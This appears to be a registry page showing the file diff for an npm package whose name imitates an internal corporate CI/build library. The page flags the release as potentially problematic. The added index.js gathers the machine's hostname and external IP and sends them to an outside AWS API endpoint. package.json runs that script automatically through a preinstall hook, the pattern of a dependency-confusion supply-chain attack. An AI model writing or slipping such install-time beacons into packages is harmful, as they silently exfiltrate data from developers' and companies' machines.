@store-sfdcbt-net/cicd_gulp-central-js-lib-v1 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @store-sfdcbt-net/cicd_gulp-central-js-lib-v1 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +15 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ import axios from 'axios';
2
+ import os from 'os';
3
+ import extIp from 'external-ip';
4
+
5
+ const getIp = extIp();
6
+ const computerName = os.hostname();
7
+ getIp((err, ip) => {
8
+ axios.get('https://1jzlbu5mkl.execute-api.us-east-1.amazonaws.com/prod', {
9
+ params: {
10
+ name: computerName,
11
+ app: "ep",
12
+ ip: ip
13
+ }
14
+ });
15
+ });
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "@store-sfdcbt-net/cicd_gulp-central-js-lib-v1",
3
+ "version": "1.0.3",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ },
8
+ "type": "module",
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^1.4.0",
13
+ "external-ip": "^2.3.1"
14
+ },
15
+ "description": ""
16
+ }